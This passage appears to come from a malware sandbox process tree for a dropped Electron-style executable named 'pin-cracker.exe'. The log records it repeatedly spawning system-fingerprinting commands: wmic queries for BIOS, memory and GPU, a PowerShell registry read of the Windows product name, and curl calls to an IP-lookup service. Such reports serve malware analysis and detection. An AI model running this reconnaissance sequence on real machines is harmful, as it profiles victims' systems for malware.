        7⤵
        
        PID:5560
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3460
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5128
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6140
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5108
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3584
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:7084
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6912
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6776
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:3944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:7132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3044
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1952
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
        "C:\ProgramData\Epic\Launcher\pin-cracker.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\pin-cracker" --mojo-platform-channel-handle=2436 --field-trial-handle=1916,i,2564666457222993620,15694077475905385698,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6104
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:1472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:744
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1224
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:1168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6176
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6244
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:2260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5436
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6484
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4764
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3836
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1884
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:7040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5928
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
        "C:\ProgramData\Epic\Launcher\pin-cracker.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\pin-cracker" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 --field-trial-handle=1916,i,2564666457222993620,15694077475905385698,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5060
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5700
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3528
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:2072
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5356
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:1388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5596
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:3460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6772
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:2816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:936
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5612
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1948
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6076
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1944
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:1464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:2672
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5376
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1152
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1508
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1592
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4964
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5660
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4612
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1672
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5872
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:4116
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6244
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
        "C:\ProgramData\Epic\Launcher\pin-cracker.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\pin-cracker" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2900 --field-trial-handle=1916,i,2564666457222993620,15694077475905385698,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4044
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6336
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4628
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4632
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6352
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:4764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5776
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5132
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5628
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5172
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6196
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:4236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5568
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3964
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5696
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5908
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3460
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:2184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6716
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:3896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6908
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:7008
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4876
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:4268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:436
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4548
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:1400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6800
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:2468
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5948
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:1568
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5672
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:7136
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:928
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1216
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5660
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
        "C:\ProgramData\Epic\Launcher\pin-cracker.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\pin-cracker" --mojo-platform-channel-handle=2960 --field-trial-handle=1916,i,2564666457222993620,15694077475905385698,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:316
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5704
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:2008
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6244
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:1868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:3536
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:6380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:3776
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
        "C:\ProgramData\Epic\Launcher\pin-cracker.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\pin-cracker" --mojo-platform-channel-handle=2100 --field-trial-handle=1916,i,2564666457222993620,15694077475905385698,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6192
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3324
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5456
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5604
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4860
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6200
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5168
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:3360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3004
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:1388
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:1704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:2988
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5708
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5676
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
